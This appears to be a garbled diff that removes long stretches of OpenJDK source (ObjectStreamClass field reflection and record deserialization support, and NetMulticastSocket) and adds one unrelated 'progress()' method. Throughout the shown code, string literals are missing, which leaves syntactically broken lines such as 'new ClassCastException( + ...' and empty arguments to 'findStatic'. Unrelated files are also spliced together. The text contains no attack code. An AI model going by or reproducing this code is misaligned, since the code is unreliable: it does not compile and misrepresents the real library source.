int[nfields]; - typeCodes = new char[nfields]; - ArrayList> typeList = new ArrayList<>(); - Set usedKeys = new HashSet<>(); - - - for (int i = 0; i < nfields; i++) { - ObjectStreamField f = fields[i]; - Field rf = f.getField(); - long key = (rf != null) ? - UNSAFE.objectFieldOffset(rf) : Unsafe.INVALID_FIELD_OFFSET; - readKeys[i] = key; - writeKeys[i] = usedKeys.add(key) ? - key : Unsafe.INVALID_FIELD_OFFSET; - offsets[i] = f.getOffset(); - typeCodes[i] = f.getTypeCode(); - if (!f.isPrimitive()) { - typeList.add((rf != null) ? rf.getType() : null); - } - } - - types = typeList.toArray(new Class[typeList.size()]); - numPrimFields = nfields - types.length; - } - - /** - * Returns list of ObjectStreamFields representing fields operated on - * by this reflector. The shared/unshared values and Field objects - * contained by ObjectStreamFields in the list reflect their bindings - * to locally defined serializable fields. - */ - ObjectStreamField[] getFields() { - return fields; - } - - /** - * Fetches the serializable primitive field values of object obj and - * marshals them into byte array buf starting at offset 0. The caller - * is responsible for ensuring that obj is of the proper type. - */ - void getPrimFieldValues(Object obj, byte[] buf) { - if (obj == null) { - throw new NullPointerException(); - } - /* assuming checkDefaultSerialize() has been called on the class - * descriptor this FieldReflector was obtained from, no field keys - * in array should be equal to Unsafe.INVALID_FIELD_OFFSET. - */ - for (int i = 0; i < numPrimFields; i++) { - long key = readKeys[i]; - int off = offsets[i]; - switch (typeCodes[i]) { - case 'Z' -> ByteArray.setBoolean(buf, off, UNSAFE.getBoolean(obj, key)); - case 'B' -> buf[off] = UNSAFE.getByte(obj, key); - case 'C' -> ByteArray.setChar(buf, off, UNSAFE.getChar(obj, key)); - case 'S' -> ByteArray.setShort(buf, off, UNSAFE.getShort(obj, key)); - case 'I' -> ByteArray.setInt(buf, off, UNSAFE.getInt(obj, key)); - case 'F' -> ByteArray.setFloat(buf, off, UNSAFE.getFloat(obj, key)); - case 'J' -> ByteArray.setLong(buf, off, UNSAFE.getLong(obj, key)); - case 'D' -> ByteArray.setDouble(buf, off, UNSAFE.getDouble(obj, key)); - default -> throw new InternalError(); - } - } - } - - /** - * Sets the serializable primitive fields of object obj using values - * unmarshalled from byte array buf starting at offset 0. The caller - * is responsible for ensuring that obj is of the proper type. - */ - void setPrimFieldValues(Object obj, byte[] buf) { - if (obj == null) { - throw new NullPointerException(); - } - for (int i = 0; i < numPrimFields; i++) { - long key = writeKeys[i]; - if (key == Unsafe.INVALID_FIELD_OFFSET) { - continue; // discard value - } - int off = offsets[i]; - switch (typeCodes[i]) { - case 'Z' -> UNSAFE.putBoolean(obj, key, ByteArray.getBoolean(buf, off)); - case 'B' -> UNSAFE.putByte(obj, key, buf[off]); - case 'C' -> UNSAFE.putChar(obj, key, ByteArray.getChar(buf, off)); - case 'S' -> UNSAFE.putShort(obj, key, ByteArray.getShort(buf, off)); - case 'I' -> UNSAFE.putInt(obj, key, ByteArray.getInt(buf, off)); - case 'F' -> UNSAFE.putFloat(obj, key, ByteArray.getFloat(buf, off)); - case 'J' -> UNSAFE.putLong(obj, key, ByteArray.getLong(buf, off)); - case 'D' -> UNSAFE.putDouble(obj, key, ByteArray.getDouble(buf, off)); - default -> throw new InternalError(); - } - } - } - - /** - * Fetches the serializable object field values of object obj and - * stores them in array vals starting at offset 0. The caller is - * responsible for ensuring that obj is of the proper type. - */ - void getObjFieldValues(Object obj, Object[] vals) { - if (obj == null) { - throw new NullPointerException(); - } - /* assuming checkDefaultSerialize() has been called on the class - * descriptor this FieldReflector was obtained from, no field keys - * in array should be equal to Unsafe.INVALID_FIELD_OFFSET. - */ - for (int i = numPrimFields; i < fields.length; i++) { - vals[offsets[i]] = switch (typeCodes[i]) { - case 'L', '[' -> UNSAFE.getReference(obj, readKeys[i]); - default -> throw new InternalError(); - }; - } - } - - /** - * Checks that the given values, from array vals starting at offset 0, - * are assignable to the given serializable object fields. - * @throws ClassCastException if any value is not assignable - */ - void checkObjectFieldValueTypes(Object obj, Object[] vals) { - setObjFieldValues(obj, vals, true); - } - - /** - * Sets the serializable object fields of object obj using values from - * array vals starting at offset 0. The caller is responsible for - * ensuring that obj is of the proper type; however, attempts to set a - * field with a value of the wrong type will trigger an appropriate - * ClassCastException. - */ - void setObjFieldValues(Object obj, Object[] vals) { - setObjFieldValues(obj, vals, false); - } - - private void setObjFieldValues(Object obj, Object[] vals, boolean dryRun) { - if (obj == null) { - throw new NullPointerException(); - } - for (int i = numPrimFields; i < fields.length; i++) { - long key = writeKeys[i]; - if (key == Unsafe.INVALID_FIELD_OFFSET) { - continue; // discard value - } - switch (typeCodes[i]) { - case 'L', '[' -> { - Object val = vals[offsets[i]]; - if (val != null && - !types[i - numPrimFields].isInstance(val)) - { - Field f = fields[i].getField(); - throw new ClassCastException( - + - val.getClass().getName() + + - f.getDeclaringClass().getName() + + - f.getName() + + - f.getType().getName() + + - obj.getClass().getName()); - } - if (!dryRun) - UNSAFE.putReference(obj, key, val); - } - default -> throw new InternalError(); - } - } - } - } - - /** - * Matches given set of serializable fields with serializable fields - * described by the given local class descriptor, and returns a - * FieldReflector instance capable of setting/getting values from the - * subset of fields that match (non-matching fields are treated as filler, - * for which get operations return default values and set operations - * discard given values). Throws InvalidClassException if unresolvable - * type conflicts exist between the two sets of fields. - */ - private static FieldReflector getReflector(ObjectStreamField[] fields, - ObjectStreamClass localDesc) - throws InvalidClassException - { - // class irrelevant if no fields - Class cl = (localDesc != null && fields.length > 0) ? - localDesc.cl : Void.class; - - var clReflectors = Caches.reflectors.get(cl); - var key = new FieldReflectorKey(fields); - var reflector = clReflectors.get(key); - if (reflector == null) { - reflector = new FieldReflector(matchFields(fields, localDesc)); - var oldReflector = clReflectors.putIfAbsent(key, reflector); - if (oldReflector != null) { - reflector = oldReflector; - } - } - return reflector; - } - - /** - * FieldReflector cache lookup key. Keys are considered equal if they - * refer to equivalent field formats. - */ - private static class FieldReflectorKey { - - private final String[] sigs; - private final int hash; - - FieldReflectorKey(ObjectStreamField[] fields) - { - sigs = new String[2 * fields.length]; - for (int i = 0, j = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; - sigs[j++] = f.getName(); - sigs[j++] = f.getSignature(); - } - hash = Arrays.hashCode(sigs); - } - - public int hashCode() { - return hash; - } - - public boolean equals(Object obj) { - return obj == this || - obj instanceof FieldReflectorKey other && - Arrays.equals(sigs, other.sigs); - } - } - - /** - * Matches given set of serializable fields with serializable fields - * obtained from the given local class descriptor (which contain bindings - * to reflective Field objects). Returns list of ObjectStreamFields in - * which each ObjectStreamField whose signature matches that of a local - * field contains a Field object for that field; unmatched - * ObjectStreamFields contain null Field objects. Shared/unshared settings - * of the returned ObjectStreamFields also reflect those of matched local - * ObjectStreamFields. Throws InvalidClassException if unresolvable type - * conflicts exist between the two sets of fields. - */ - private static ObjectStreamField[] matchFields(ObjectStreamField[] fields, - ObjectStreamClass localDesc) - throws InvalidClassException - { - ObjectStreamField[] localFields = (localDesc != null) ? - localDesc.fields : NO_FIELDS; - - /* - * Even if fields == localFields, we cannot simply return localFields - * here. In previous implementations of serialization, - * ObjectStreamField.getType() returned Object.class if the - * ObjectStreamField represented a non-primitive field and belonged to - * a non-local class descriptor. To preserve this (questionable) - * behavior, the ObjectStreamField instances returned by matchFields - * cannot report non-primitive types other than Object.class; hence - * localFields cannot be returned directly. - */ - - ObjectStreamField[] matches = new ObjectStreamField[fields.length]; - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i], m = null; - for (int j = 0; j < localFields.length; j++) { - ObjectStreamField lf = localFields[j]; - if (f.getName().equals(lf.getName())) { - if ((f.isPrimitive() || lf.isPrimitive()) && - f.getTypeCode() != lf.getTypeCode()) - { - throw new InvalidClassException(localDesc.name, - + f.getName()); - } - if (lf.getField() != null) { - m = new ObjectStreamField( - lf.getField(), lf.isUnshared(), false); - } else { - m = new ObjectStreamField( - lf.getName(), lf.getSignature(), lf.isUnshared()); - } - } - } - if (m == null) { - m = new ObjectStreamField( - f.getName(), f.getSignature(), false); - } - m.setOffset(f.getOffset()); - matches[i] = m; - } - return matches; - } - - /** - * A LRA cache of record deserialization constructors. - */ - @SuppressWarnings() - private static final class DeserializationConstructorsCache - extends ConcurrentHashMap { - - // keep max. 10 cached entries - when the 11th element is inserted the oldest - // is removed and 10 remains - 11 is the biggest map size where internal - // table of 16 elements is sufficient (inserting 12th element would resize it to 32) - private static final int MAX_SIZE = 10; - private Key.Impl first, last; // first and last in FIFO queue - - DeserializationConstructorsCache() { - // start small - if there is more than one shape of ObjectStreamClass - // deserialized, there will typically be two (current version and previous version) - super(2); - } - - MethodHandle get(ObjectStreamField[] fields) { - return get(new Key.Lookup(fields)); - } - - synchronized MethodHandle putIfAbsentAndGet(ObjectStreamField[] fields, MethodHandle mh) { - Key.Impl key = new Key.Impl(fields); - var oldMh = putIfAbsent(key, mh); - if (oldMh != null) return oldMh; - // else we did insert new entry -> link the new key as last - if (last == null) { - last = first = key; - } else { - last = (last.next = key); - } - // may need to remove first - if (size() > MAX_SIZE) { - assert first != null; - remove(first); - first = first.next; - if (first == null) { - last = null; - } - } - return mh; - } - - // a key composed of ObjectStreamField[] names and types - abstract static class Key { - abstract int length(); - abstract String fieldName(int i); - abstract Class fieldType(int i); - - @Override - public final int hashCode() { - int n = length(); - int h = 0; - for (int i = 0; i < n; i++) h = h * 31 + fieldType(i).hashCode(); - for (int i = 0; i < n; i++) h = h * 31 + fieldName(i).hashCode(); - return h; - } - - @Override - public final boolean equals(Object obj) { - if (!(obj instanceof Key other)) return false; - int n = length(); - if (n != other.length()) return false; - for (int i = 0; i < n; i++) if (fieldType(i) != other.fieldType(i)) return false; - for (int i = 0; i < n; i++) if (!fieldName(i).equals(other.fieldName(i))) return false; - return true; - } - - // lookup key - just wraps ObjectStreamField[] - static final class Lookup extends Key { - final ObjectStreamField[] fields; - - Lookup(ObjectStreamField[] fields) { this.fields = fields; } - - @Override - int length() { return fields.length; } - - @Override - String fieldName(int i) { return fields[i].getName(); } - - @Override - Class fieldType(int i) { return fields[i].getType(); } - } - - // real key - copies field names and types and forms FIFO queue in cache - static final class Impl extends Key { - Impl next; - final String[] fieldNames; - final Class[] fieldTypes; - - Impl(ObjectStreamField[] fields) { - this.fieldNames = new String[fields.length]; - this.fieldTypes = new Class[fields.length]; - for (int i = 0; i < fields.length; i++) { - fieldNames[i] = fields[i].getName(); - fieldTypes[i] = fields[i].getType(); - } - } - - @Override - int length() { return fieldNames.length; } - - @Override - String fieldName(int i) { return fieldNames[i]; } - - @Override - Class fieldType(int i) { return fieldTypes[i]; } - } - } - } - - /** Record specific support for retrieving and binding stream field values. */ - static final class RecordSupport { - /** - * Returns canonical record constructor adapted to take two arguments: - * {@code (byte[] primValues, Object[] objValues)} - * and return - * {@code Object} - */ - @SuppressWarnings() - static MethodHandle deserializationCtr(ObjectStreamClass desc) { - // check the cached value 1st - MethodHandle mh = desc.deserializationCtr; - if (mh != null) return mh; - mh = desc.deserializationCtrs.get(desc.getFields(false)); - if (mh != null) return desc.deserializationCtr = mh; - - // retrieve record components - RecordComponent[] recordComponents; - try { - Class cls = desc.forClass(); - PrivilegedExceptionAction pa = cls::getRecordComponents; - recordComponents = AccessController.doPrivileged(pa); - } catch (PrivilegedActionException e) { - throw new InternalError(e.getCause()); - } - - // retrieve the canonical constructor - // (T1, T2, ..., Tn):TR - mh = desc.getRecordConstructor(); - - // change return type to Object - // (T1, T2, ..., Tn):TR -> (T1, T2, ..., Tn):Object - mh = mh.asType(mh.type().changeReturnType(Object.class)); - - // drop last 2 arguments representing primValues and objValues arrays - // (T1, T2, ..., Tn):Object -> (T1, T2, ..., Tn, byte[], Object[]):Object - mh = MethodHandles.dropArguments(mh, mh.type().parameterCount(), byte[].class, Object[].class); - - for (int i = recordComponents.length-1; i >= 0; i--) { - String name = recordComponents[i].getName(); - Class type = recordComponents[i].getType(); - // obtain stream field extractor that extracts argument at - // position i (Ti+1) from primValues and objValues arrays - // (byte[], Object[]):Ti+1 - MethodHandle combiner = streamFieldExtractor(name, type, desc); - // fold byte[] privValues and Object[] objValues into argument at position i (Ti+1) - // (..., Ti, Ti+1, byte[], Object[]):Object -> (..., Ti, byte[], Object[]):Object - mh = MethodHandles.foldArguments(mh, i, combiner); - } - // what we are left with is a MethodHandle taking just the primValues - // and objValues arrays and returning the constructed record instance - // (byte[], Object[]):Object - - // store it into cache and return the 1st value stored - return desc.deserializationCtr = - desc.deserializationCtrs.putIfAbsentAndGet(desc.getFields(false), mh); - } - - /** Returns the number of primitive fields for the given descriptor. */ - private static int numberPrimValues(ObjectStreamClass desc) { - ObjectStreamField[] fields = desc.getFields(); - int primValueCount = 0; - for (int i = 0; i < fields.length; i++) { - if (fields[i].isPrimitive()) - primValueCount++; - else - break; // can be no more - } - return primValueCount; - } - - /** - * Returns extractor MethodHandle taking the primValues and objValues arrays - * and extracting the argument of canonical constructor with given name and type - * or producing default value for the given type if the field is absent. - */ - private static MethodHandle streamFieldExtractor(String pName, - Class pType, - ObjectStreamClass desc) { - ObjectStreamField[] fields = desc.getFields(false); - - for (int i = 0; i < fields.length; i++) { - ObjectStreamField f = fields[i]; - String fName = f.getName(); - if (!fName.equals(pName)) - continue; - - Class fType = f.getField().getType(); - if (!pType.isAssignableFrom(fType)) - throw new InternalError(fName + + fType); - - if (f.isPrimitive()) { - // (byte[], int):fType - MethodHandle mh = PRIM_VALUE_EXTRACTORS.get(fType); - if (mh == null) { - throw new InternalError( + fType); - } - // bind offset - // (byte[], int):fType -> (byte[]):fType - mh = MethodHandles.insertArguments(mh, 1, f.getOffset()); - // drop objValues argument - // (byte[]):fType -> (byte[], Object[]):fType - mh = MethodHandles.dropArguments(mh, 1, Object[].class); - // adapt return type to pType - // (byte[], Object[]):fType -> (byte[], Object[]):pType - if (pType != fType) { - mh = mh.asType(mh.type().changeReturnType(pType)); - } - return mh; - } else { // reference - // (Object[], int):Object - MethodHandle mh = MethodHandles.arrayElementGetter(Object[].class); - // bind index - // (Object[], int):Object -> (Object[]):Object - mh = MethodHandles.insertArguments(mh, 1, i - numberPrimValues(desc)); - // drop primValues argument - // (Object[]):Object -> (byte[], Object[]):Object - mh = MethodHandles.dropArguments(mh, 0, byte[].class); - // adapt return type to pType - // (byte[], Object[]):Object -> (byte[], Object[]):pType - if (pType != Object.class) { - mh = mh.asType(mh.type().changeReturnType(pType)); - } - return mh; - } - } - - // return default value extractor if no field matches pName - return MethodHandles.empty(MethodType.methodType(pType, byte[].class, Object[].class)); - } - - private static final Map, MethodHandle> PRIM_VALUE_EXTRACTORS; - static { - var lkp = MethodHandles.lookup(); - try { - PRIM_VALUE_EXTRACTORS = Map.of( - byte.class, MethodHandles.arrayElementGetter(byte[].class), - short.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(short.class, byte[].class, int.class)), - int.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(int.class, byte[].class, int.class)), - long.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(long.class, byte[].class, int.class)), - float.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(float.class, byte[].class, int.class)), - double.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(double.class, byte[].class, int.class)), - char.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(char.class, byte[].class, int.class)), - boolean.class, lkp.findStatic(ByteArray.class, , MethodType.methodType(boolean.class, byte[].class, int.class)) - ); - } catch (NoSuchMethodException | IllegalAccessException e) { - throw new InternalError(, e); - } - } - } +public float progress(){ +return (float)stream.size() / total; } -/* - * Copyright (c) 1995, 2021, Oracle and/or its affiliates. All rights reserved. - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. - * - * This code is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License version 2 only, as - * published by the Free Software Foundation. Oracle designates this - * particular file as subject to the exception as provided - * by Oracle in the LICENSE file that accompanied this code. - * - * This code is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License - * version 2 for more details (a copy is included in the LICENSE file that - * accompanied this code). - * - * You should have received a copy of the GNU General Public License version - * 2 along with this work; if not, write to the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA - * or visit www.oracle.com if you need additional information or have any - * questions. - */ - -package java.net; - -import java.io.IOException; -import java.io.UncheckedIOException; -import java.nio.channels.DatagramChannel; -import java.security.AccessController; -import java.security.PrivilegedExceptionAction; -import java.util.Enumeration; -import java.util.Objects; -import java.util.Set; -import java.util.Collections; - -/** - * A multicast datagram socket that delegates socket operations to a - * {@link DatagramSocketImpl}. - * - * This class overrides every public method defined by {@link DatagramSocket} - * and {@link MulticastSocket}. - */ -final class NetMulticastSocket extends MulticastSocket { - /** - * Various states of this socket. - */ - private boolean bound = false; - private boolean closed = false; - private volatile boolean created; - private final Object closeLock = new Object(); - - /* - * The implementation of this DatagramSocket. - */ - private final DatagramSocketImpl impl; - - /** - * Set when a socket is ST_CONNECTED until we are certain - * that any packets which might have been received prior - * to calling connect() but not read by the application - * have been read. During this time we check the source - * address of all packets received to be sure they are from - * the connected destination. Other packets are read but - * silently dropped. - */ - private boolean explicitFilter = false; - private int bytesLeftToFilter; - /* - * Connection state: - * ST_NOT_CONNECTED = socket not connected - * ST_CONNECTED = socket connected - */ - static final int ST_NOT_CONNECTED = 0; - static final int ST_CONNECTED = 1; - - int connectState = ST_NOT_CONNECTED; - - /* - * Connected address & port - */ - InetAddress connectedAddress = null; - int connectedPort = -1; - - /** - * This constructor is also used by {@link DatagramSocket#DatagramSocket(DatagramSocketImpl)}. - * @param impl The impl used in this instance. - */ - NetMulticastSocket(DatagramSocketImpl impl) { - super((MulticastSocket) null); - this.impl = Objects.requireNonNull(impl); - } - - /** - * Connects this socket to a remote socket address (IP address + port number). - * Binds socket if not already bound. - * - * @param address The remote address. - * @param port The remote port - * @throws SocketException if binding the socket fails. - */ - private synchronized void connectInternal(InetAddress address, int port) throws SocketException { - if (port < 0 || port > 0xFFFF) { - throw new IllegalArgumentException( + port); - } - if (address == null) { - throw new IllegalArgumentException(); - } - checkAddress(address, ); - if (isClosed()) - return; - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - if (address.isMulticastAddress()) { - security.checkMulticast(address); - } else { - security.checkConnect(address.getHostAddress(), port); - security.checkAccept(address.getHostAddress(), port); - } - } - - if (port == 0) { - throw new SocketException(); - } - if (!isBound()) - bind(new InetSocketAddress(0)); - - getImpl().connect(address, port); - - // socket is now connected by the impl - connectState = ST_CONNECTED; - // Do we need to filter some packets? - int avail = getImpl().dataAvailable(); - if (avail == -1) { - throw new SocketException(); - } - explicitFilter = avail > 0; - if (explicitFilter) { - bytesLeftToFilter = getReceiveBufferSize(); - } - - connectedAddress = address; - connectedPort = port; - } - - /** - * Return the {@code DatagramSocketImpl} attached to this socket, - * creating the socket if not already created. - * - * @return the {@code DatagramSocketImpl} attached to that - * DatagramSocket - * @throws SocketException if creating the socket fails - * @since 1.4 - */ - final DatagramSocketImpl getImpl() throws SocketException { - if (!created) { - synchronized (this) { - if (!created) { - impl.create(); - created = true; - } - } - } - return impl; - } - - @Override - public synchronized void bind(SocketAddress addr) throws SocketException { - if (isClosed()) - throw new SocketException(); - if (isBound()) - throw new SocketException(); - if (addr == null) - addr = new InetSocketAddress(0); - if (!(addr instanceof InetSocketAddress epoint)) - throw new IllegalArgumentException(); - if (epoint.isUnresolved()) - throw new SocketException(); - InetAddress iaddr = epoint.getAddress(); - int port = epoint.getPort(); - checkAddress(iaddr, ); - @SuppressWarnings() - SecurityManager sec = System.getSecurityManager(); - if (sec != null) { - sec.checkListen(port); - } - try { - getImpl().bind(port, iaddr); - } catch (SocketException e) { - getImpl().close(); - throw e; - } - bound = true; - } - - static void checkAddress(InetAddress addr, String op) { - if (addr == null) { - return; - } - if (!(addr instanceof Inet4Address || addr instanceof Inet6Address)) { - throw new IllegalArgumentException(op + ); - } - } - - @Override - public void connect(InetAddress address, int port) { - try { - connectInternal(address, port); - } catch (SocketException se) { - throw new UncheckedIOException(, se); - } - } - - @Override - public void connect(SocketAddress addr) throws SocketException { - if (addr == null) - throw new IllegalArgumentException(); - if (!(addr instanceof InetSocketAddress epoint)) - throw new IllegalArgumentException(); - if (epoint.isUnresolved()) - throw new SocketException(); - connectInternal(epoint.getAddress(), epoint.getPort()); - } - - @Override - public void disconnect() { - synchronized (this) { - if (isClosed()) - return; - if (connectState == ST_CONNECTED) { - impl.disconnect(); - } - connectedAddress = null; - connectedPort = -1; - connectState = ST_NOT_CONNECTED; - explicitFilter = false; - } - } - - @Override - public boolean isBound() { - return bound; - } - - @Override - public boolean isConnected() { - return connectState != ST_NOT_CONNECTED; - } - - @Override - public InetAddress getInetAddress() { - return connectedAddress; - } - - @Override - public int getPort() { - return connectedPort; - } - - @Override - public SocketAddress getRemoteSocketAddress() { - if (!isConnected()) - return null; - return new InetSocketAddress(getInetAddress(), getPort()); - } - - @Override - public SocketAddress getLocalSocketAddress() { - if (isClosed()) - return null; - if (!isBound()) - return null; - return new InetSocketAddress(getLocalAddress(), getLocalPort()); - } - - @Override - public void send(DatagramPacket p) throws IOException { - synchronized (p) { - if (isClosed()) - throw new SocketException(); - InetAddress packetAddress = p.getAddress(); - int packetPort = p.getPort(); - checkAddress(packetAddress, ); - if (connectState == ST_NOT_CONNECTED) { - if (packetAddress == null) { - throw new IllegalArgumentException(); - } - if (packetPort < 0 || packetPort > 0xFFFF) - throw new IllegalArgumentException( + packetPort); - // check the address is ok with the security manager on every send. - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - - // The reason you want to synchronize on datagram packet - // is because you don't want an applet to change the address - // while you are trying to send the packet for example - // after the security check but before the send. - if (security != null) { - if (packetAddress.isMulticastAddress()) { - security.checkMulticast(packetAddress); - } else { - security.checkConnect(packetAddress.getHostAddress(), - packetPort); - } - } - if (packetPort == 0) { - throw new SocketException(); - } - } else { - // we're connected - if (packetAddress == null) { - p.setAddress(connectedAddress); - p.setPort(connectedPort); - } else if ((!packetAddress.equals(connectedAddress)) || - packetPort != connectedPort) { - throw new IllegalArgumentException( + - + - ); - } - } - // Check whether the socket is bound - if (!isBound()) - bind(new InetSocketAddress(0)); - // call the method to send - getImpl().send(p); - } - } - - @Override - public synchronized void receive(DatagramPacket p) throws IOException { - synchronized (p) { - if (!isBound()) - bind(new InetSocketAddress(0)); - if (connectState == ST_NOT_CONNECTED) { - // check the address is ok with the security manager before every recv. - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - while (true) { - int peekPort = 0; - // peek at the packet to see who it is from. - DatagramPacket peekPacket = new DatagramPacket(new byte[1], 1); - peekPort = getImpl().peekData(peekPacket); - String peekAd = peekPacket.getAddress().getHostAddress(); - try { - security.checkAccept(peekAd, peekPort); - // security check succeeded - so now break - // and recv the packet. - break; - } catch (SecurityException se) { - // Throw away the offending packet by consuming - // it in a tmp buffer. - DatagramPacket tmp = new DatagramPacket(new byte[1], 1); - getImpl().receive(tmp); - - // silently discard the offending packet - // and continue: unknown/malicious - // entities on nets should not make - // runtime throw security exception and - // disrupt the applet by sending random - // datagram packets. - continue; - } - } // end of while - } - } - DatagramPacket tmp = null; - if (explicitFilter) { - // We have to do the filtering the old fashioned way since - // the native impl doesn't support connect or the connect - // via the impl failed, or .. may be set when - // a socket is connected via the impl, for a period of time - // when packets from other sources might be queued on socket. - boolean stop = false; - while (!stop) { - // peek at the packet to see who it is from. - DatagramPacket peekPacket = new DatagramPacket(new byte[1], 1); - int peekPort = getImpl().peekData(peekPacket); - InetAddress peekAddress = peekPacket.getAddress(); - if ((!connectedAddress.equals(peekAddress)) || (connectedPort != peekPort)) { - // throw the packet away and silently continue - tmp = new DatagramPacket( - new byte[1024], 1024); - getImpl().receive(tmp); - if (explicitFilter) { - if (checkFiltering(tmp)) { - stop = true; - } - } - } else { - stop = true; - } - } - } - // If the security check succeeds, or the datagram is - // connected then receive the packet - getImpl().receive(p); - if (explicitFilter && tmp == null) { - // packet was not filtered, account for it here - checkFiltering(p); - } - } - } - - private boolean checkFiltering(DatagramPacket p) throws SocketException { - bytesLeftToFilter -= p.getLength(); - if (bytesLeftToFilter <= 0 || getImpl().dataAvailable() <= 0) { - explicitFilter = false; - return true; - } - return false; - } - - @Override - public InetAddress getLocalAddress() { - if (isClosed()) - return null; - InetAddress in; - try { - in = (InetAddress) getImpl().getOption(SocketOptions.SO_BINDADDR); - if (in.isAnyLocalAddress()) { - in = InetAddress.anyLocalAddress(); - } - @SuppressWarnings() - SecurityManager s = System.getSecurityManager(); - if (s != null) { - s.checkConnect(in.getHostAddress(), -1); - } - } catch (Exception e) { - in = InetAddress.anyLocalAddress(); // - } - return in; - } - - @Override - public int getLocalPort() { - if (isClosed()) - return -1; - try { - return getImpl().getLocalPort(); - } catch (Exception e) { - return 0; - } - } - - @Override - public synchronized void setSoTimeout(int timeout) throws SocketException { - if (isClosed()) - throw new SocketException(); - if (timeout < 0) - throw new IllegalArgumentException(); - getImpl().setOption(SocketOptions.SO_TIMEOUT, timeout); - } - - @Override - public synchronized int getSoTimeout() throws SocketException { - if (isClosed()) - throw new SocketException(); - if (getImpl() == null) - return 0; - Object o = getImpl().getOption(SocketOptions.SO_TIMEOUT); - /* extra type safety */ - if (o instanceof Integer) { - return ((Integer) o).intValue(); - } else { - return 0; - } - } - - @Override - public synchronized void setSendBufferSize(int size) throws SocketException { - if (!(size > 0)) { - throw new IllegalArgumentException(); - } - if (isClosed()) - throw new SocketException(); - getImpl().setOption(SocketOptions.SO_SNDBUF, size); - } - - @Override - public synchronized int getSendBufferSize() throws SocketException { - if (isClosed()) - throw new SocketException(); - int result = 0; - Object o = getImpl().getOption(SocketOptions.SO_SNDBUF); - if (o instanceof Integer) { - result = ((Integer) o).intValue(); - } - return result; - } - - @Override - public synchronized void setReceiveBufferSize(int size) throws SocketException { - if (size <= 0) { - throw new IllegalArgumentException(); - } - if (isClosed()) - throw new SocketException(); - getImpl().setOption(SocketOptions.SO_RCVBUF, size); - } - - @Override - public synchronized int getReceiveBufferSize() throws SocketException { - if (isClosed()) - throw new SocketException(); - int result = 0; - Object o = getImpl().getOption(SocketOptions.SO_RCVBUF); - if (o instanceof Integer) { - result = ((Integer) o).intValue(); - } - return result; - } - - @Override - public synchronized void setReuseAddress(boolean on) throws SocketException { - if (isClosed()) - throw new SocketException(); - getImpl().setOption(SocketOptions.SO_REUSEADDR, Boolean.valueOf(on)); - } - - @Override - public synchronized boolean getReuseAddress() throws SocketException { - if (isClosed()) - throw new SocketException(); - Object o = getImpl().getOption(SocketOptions.SO_REUSEADDR); - return ((Boolean) o).booleanValue(); - } - - @Override - public synchronized void setBroadcast(boolean on) throws SocketException { - if (isClosed()) - throw new SocketException(); - getImpl().setOption(SocketOptions.SO_BROADCAST, Boolean.valueOf(on)); - } - - @Override - public synchronized boolean getBroadcast() throws SocketException { - if (isClosed()) - throw new SocketException(); - return ((Boolean) (getImpl().getOption(SocketOptions.SO_BROADCAST))).booleanValue(); - } - - @Override - public synchronized void setTrafficClass(int tc) throws SocketException { - if (tc < 0 || tc > 255) - throw new IllegalArgumentException(); - - if (isClosed()) - throw new SocketException(); - try { - getImpl().setOption(SocketOptions.IP_TOS, tc); - } catch (SocketException se) { - // not supported if socket already connected - // Solaris returns error in such cases - if (!isConnected()) - throw se; - } - } - - @Override - public synchronized int getTrafficClass() throws SocketException { - if (isClosed()) - throw new SocketException(); - return ((Integer) (getImpl().getOption(SocketOptions.IP_TOS))).intValue(); - } - - @Override - public void close() { - synchronized (closeLock) { - if (isClosed()) - return; - impl.close(); - closed = true; - } - } - - @Override - public boolean isClosed() { - synchronized (closeLock) { - return closed; - } - } - - @Override - public DatagramSocket setOption(SocketOption name, T value) - throws IOException - { - Objects.requireNonNull(name); - if (isClosed()) - throw new SocketException(); - getImpl().setOption(name, value); - return this; - } - - @Override - public T getOption(SocketOption name) throws IOException { - Objects.requireNonNull(name); - if (isClosed()) - throw new SocketException(); - return getImpl().getOption(name); - } - - private volatile Set> options; - private final Object optionsLock = new Object(); - - @Override - public Set> supportedOptions() { - Set> options = this.options; - if (options != null) - return options; - synchronized (optionsLock) { - options = this.options; - if (options != null) { - return options; - } - try { - DatagramSocketImpl impl = getImpl(); - options = Collections.unmodifiableSet(impl.supportedOptions()); - } catch (IOException e) { - options = Collections.emptySet(); - } - return this.options = options; - } - } - - // Multicast socket support - - /** - * Used on some platforms to record if an outgoing interface - * has been set for this socket. - */ - private boolean interfaceSet; - - /** - * The lock on the socket's TTL. This is for set/getTTL and - * send(packet,ttl). - */ - private final Object ttlLock = new Object(); - - /** - * The lock on the socket's interface - used by setInterface - * and getInterface - */ - private final Object infLock = new Object(); - - /** - * The interface set by setInterface on this MulticastSocket - */ - private InetAddress infAddress = null; - - @Deprecated - @Override - public void setTTL(byte ttl) throws IOException { - if (isClosed()) - throw new SocketException(); - getImpl().setTTL(ttl); - } - - @Override - public void setTimeToLive(int ttl) throws IOException { - if (ttl < 0 || ttl > 255) { - throw new IllegalArgumentException(); - } - if (isClosed()) - throw new SocketException(); - getImpl().setTimeToLive(ttl); - } - - @Deprecated - @Override - public byte getTTL() throws IOException { - if (isClosed()) - throw new SocketException(); - return getImpl().getTTL(); - } - - @Override - public int getTimeToLive() throws IOException { - if (isClosed()) - throw new SocketException(); - return getImpl().getTimeToLive(); - } - - @Override - @Deprecated - public void joinGroup(InetAddress mcastaddr) throws IOException { - if (isClosed()) { - throw new SocketException(); - } - - checkAddress(mcastaddr, ); - 